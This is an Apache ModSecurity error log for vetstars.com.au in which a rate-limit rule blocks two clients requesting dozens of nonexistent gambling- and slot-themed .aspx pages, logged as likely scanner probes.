[Thu Apr 02 02:29:47.516393 2026] [:error] [pid 16761:tid 16786] [client 135.181.213.219:33336] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ac1kG94bJXDGRqKZnzxT8QAAAFY"]
[Thu Apr 02 02:29:50.114572 2026] [:error] [pid 16761:tid 16774] [client 135.181.213.219:33350] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ac1kHt4bJXDGRqKZnzxUAQAAAEo"]
[Thu Apr 02 02:30:51.772983 2026] [:error] [pid 16761:tid 16788] [client 135.181.213.219:38162] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ac1kW94bJXDGRqKZnzxUigAAAFg"]
[Thu Apr 02 02:30:54.350518 2026] [:error] [pid 16761:tid 16766] [client 135.181.213.219:38168] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ac1kXt4bJXDGRqKZnzxUkwAAAEI"]
[Thu Apr 02 02:30:56.827081 2026] [:error] [pid 8387:tid 8461] [client 135.181.213.219:38172] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ac1kYBdQYJ2y8LDYkv8pYgAAABQ"]
[Thu Apr 02 02:30:59.425295 2026] [:error] [pid 8037:tid 8113] [client 135.181.213.219:38188] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ac1kY4GD8ox-W9jHVfDTcAAAAQU"]
[Thu Apr 02 02:31:01.867252 2026] [:error] [pid 8387:tid 8461] [client 135.181.213.219:48070] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ac1kZRdQYJ2y8LDYkv8pawAAABQ"]
[Thu Apr 02 02:31:04.197400 2026] [:error] [pid 16761:tid 16768] [client 135.181.213.219:48080] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ac1kaN4bJXDGRqKZnzxUxQAAAEQ"]
[Thu Apr 02 02:31:06.710702 2026] [:error] [pid 8035:tid 8055] [client 135.181.213.219:48092] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ac1kagY2zflwGmvw_Qb9RAAAAI8"]
[Thu Apr 02 02:31:09.290948 2026] [:error] [pid 8387:tid 8441] [client 135.181.213.219:48106] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ac1kbRdQYJ2y8LDYkv8pgwAAAAE"]
[Thu Apr 02 02:31:11.877233 2026] [:error] [pid 8387:tid 8457] [client 135.181.213.219:27330] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ac1kbxdQYJ2y8LDYkv8phQAAABA"]
[Thu Apr 02 02:31:14.358899 2026] [:error] [pid 16761:tid 16772] [client 135.181.213.219:27334] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ac1kct4bJXDGRqKZnzxU3QAAAEg"]
[Thu Apr 02 02:31:16.930935 2026] [:error] [pid 8036:tid 8094] [client 135.181.213.219:27344] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ac1kdEMvKg9PFa_VV4zrjQAAANE"]
[Thu Apr 02 02:31:19.537915 2026] [:error] [pid 8037:tid 8110] [client 135.181.213.219:27354] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ac1kd4GD8ox-W9jHVfDThAAAAQI"]
[Thu Apr 02 02:31:22.165203 2026] [:error] [pid 8387:tid 8443] [client 135.181.213.219:54810] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ac1kehdQYJ2y8LDYkv8pjwAAAAM"]
[Thu Apr 02 02:31:24.862159 2026] [:error] [pid 8036:tid 8077] [client 135.181.213.219:54826] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ac1kfEMvKg9PFa_VV4zrjwAAAME"]
[Thu Apr 02 02:31:27.208455 2026] [:error] [pid 16761:tid 16765] [client 135.181.213.219:54830] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ac1kf94bJXDGRqKZnzxVCQAAAEE"]
[Thu Apr 02 02:31:29.842852 2026] [:error] [pid 16761:tid 16766] [client 135.181.213.219:54842] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ac1kgd4bJXDGRqKZnzxVFwAAAEI"]
[Thu Apr 02 02:31:32.302123 2026] [:error] [pid 16761:tid 16776] [client 135.181.213.219:16972] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ac1khN4bJXDGRqKZnzxVHAAAAEw"]
[Thu Apr 02 02:31:34.895072 2026] [:error] [pid 8036:tid 8099] [client 135.181.213.219:16974] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ac1khkMvKg9PFa_VV4zrlQAAANY"]
[Thu Apr 02 02:31:37.480957 2026] [:error] [pid 16761:tid 16765] [client 135.181.213.219:16978] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ac1kid4bJXDGRqKZnzxVKwAAAEE"]
[Thu Apr 02 02:31:40.079467 2026] [:error] [pid 8036:tid 8099] [client 135.181.213.219:16992] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ac1kjEMvKg9PFa_VV4zroAAAANY"]
[Thu Apr 02 02:31:42.673712 2026] [:error] [pid 8387:tid 8468] [client 135.181.213.219:44986] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ac1kjhdQYJ2y8LDYkv8p1QAAABg"]
[Thu Apr 02 02:31:45.212476 2026] [:error] [pid 8035:tid 8064] [client 135.181.213.219:45006] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ac1kkQY2zflwGmvw_Qb9gAAAAJg"]
[Thu Apr 02 02:32:37.283252 2026] [:error] [pid 8036:tid 8078] [client 135.181.213.219:36528] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ac1kxUMvKg9PFa_VV4zr0AAAAMI"]
[Thu Apr 02 02:32:39.719129 2026] [:error] [pid 8387:tid 8455] [client 135.181.213.219:36536] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ac1kxxdQYJ2y8LDYkv8qggAAAA4"]
[Thu Apr 02 02:32:42.288030 2026] [:error] [pid 16761:tid 16772] [client 135.181.213.219:32880] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ac1kyt4bJXDGRqKZnzxWCAAAAEg"]
[Thu Apr 02 02:32:44.892696 2026] [:error] [pid 8036:tid 8098] [client 135.181.213.219:32896] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ac1kzEMvKg9PFa_VV4zr2wAAANU"]
[Thu Apr 02 02:32:47.452457 2026] [:error] [pid 8035:tid 8054] [client 135.181.213.219:32906] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ac1kzwY2zflwGmvw_Qb97AAAAI4"]
[Thu Apr 02 02:32:50.062953 2026] [:error] [pid 16761:tid 16765] [client 135.181.213.219:32912] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ac1k0t4bJXDGRqKZnzxWGgAAAEE"]
[Thu Apr 02 02:32:52.624009 2026] [:error] [pid 8035:tid 8050] [client 135.181.213.219:30264] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ac1k1AY2zflwGmvw_Qb98gAAAIo"]
[Thu Apr 02 02:32:55.085248 2026] [:error] [pid 8387:tid 8457] [client 135.181.213.219:30270] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ac1k1xdQYJ2y8LDYkv8qiwAAABA"]
[Thu Apr 02 02:32:57.540768 2026] [:error] [pid 8037:tid 8113] [client 135.181.213.219:30284] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ac1k2YGD8ox-W9jHVfDUBQAAAQU"]
[Thu Apr 02 02:32:59.989752 2026] [:error] [pid 8035:tid 8045] [client 135.181.213.219:30286] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ac1k2wY2zflwGmvw_Qb-AgAAAIU"]
[Thu Apr 02 02:33:02.562101 2026] [:error] [pid 8035:tid 8064] [client 135.181.213.219:51494] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ac1k3gY2zflwGmvw_Qb-BgAAAJg"]
[Thu Apr 02 02:33:05.157577 2026] [:error] [pid 8036:tid 8102] [client 135.181.213.219:51504] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ac1k4UMvKg9PFa_VV4zr_QAAANg"]
[Thu Apr 02 02:33:07.602419 2026] [:error] [pid 8035:tid 8063] [client 135.181.213.219:51516] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ac1k4wY2zflwGmvw_Qb-GAAAAJc"]
[Thu Apr 02 02:33:10.206140 2026] [:error] [pid 16761:tid 16775] [client 135.181.213.219:51524] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ac1k5t4bJXDGRqKZnzxWKgAAAEs"]
[Thu Apr 02 02:33:12.662920 2026] [:error] [pid 8036:tid 8080] [client 135.181.213.219:14810] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ac1k6EMvKg9PFa_VV4zsCwAAAMQ"]
[Thu Apr 02 02:33:15.250247 2026] [:error] [pid 8036:tid 8087] [client 135.181.213.219:14812] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ac1k60MvKg9PFa_VV4zsFAAAAMs"]
[Thu Apr 02 02:33:17.560363 2026] [:error] [pid 8387:tid 8456] [client 135.181.213.219:14824] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ac1k7RdQYJ2y8LDYkv8qoAAAAA8"]
[Thu Apr 02 02:33:20.142742 2026] [:error] [pid 16761:tid 16781] [client 135.181.213.219:14840] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ac1k8N4bJXDGRqKZnzxWTgAAAFE"]
[Thu Apr 02 02:33:22.737810 2026] [:error] [pid 16761:tid 16766] [client 135.181.213.219:30374] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ac1k8t4bJXDGRqKZnzxWVwAAAEI"]
[Thu Apr 02 03:05:47.679077 2026] [:error] [pid 8036:tid 8082] [client 95.217.109.26:1424] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ac1si0MvKg9PFa_VV4z94AAAAMY"]
[Thu Apr 02 03:05:50.255064 2026] [:error] [pid 16761:tid 16784] [client 95.217.109.26:1426] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ac1sjt4bJXDGRqKZnzyDYgAAAFQ"]
[Thu Apr 02 03:05:52.922614 2026] [:error] [pid 8036:tid 8083] [client 95.217.109.26:1442] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ac1skEMvKg9PFa_VV4z97QAAAMc"]
[Thu Apr 02 03:05:55.437133 2026] [:error] [pid 8036:tid 8079] [client 95.217.109.26:1454] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ac1sk0MvKg9PFa_VV4z98wAAAMM"]
[Thu Apr 02 03:05:58.180764 2026] [:error] [pid 16761:tid 16771] [client 95.217.109.26:24910] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ac1slt4bJXDGRqKZnzyDegAAAEc"]
[Thu Apr 02 03:06:00.971467 2026] [:error] [pid 16761:tid 16783] [client 95.217.109.26:24928] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ac1smN4bJXDGRqKZnzyDjQAAAFM"]
[Thu Apr 02 03:06:03.628071 2026] [:error] [pid 8036:tid 8098] [client 95.217.109.26:24936] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ac1sm0MvKg9PFa_VV4z-BAAAANU"]
[Thu Apr 02 03:06:06.242817 2026] [:error] [pid 8037:tid 8115] [client 95.217.109.26:24952] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ac1snoGD8ox-W9jHVfDnSQAAAQc"]
[Thu Apr 02 03:06:08.811333 2026] [:error] [pid 16761:tid 16768] [client 95.217.109.26:23848] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ac1soN4bJXDGRqKZnzyDvgAAAEQ"]
[Thu Apr 02 03:06:11.518452 2026] [:error] [pid 16761:tid 16777] [client 95.217.109.26:23864] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ac1so94bJXDGRqKZnzyDzAAAAE0"]
[Thu Apr 02 03:06:14.117890 2026] [:error] [pid 8037:tid 8128] [client 95.217.109.26:23890] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ac1spoGD8ox-W9jHVfDnTgAAARQ"]
[Thu Apr 02 03:06:16.580347 2026] [:error] [pid 16761:tid 16774] [client 95.217.109.26:23914] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ac1sqN4bJXDGRqKZnzyD3AAAAEo"]
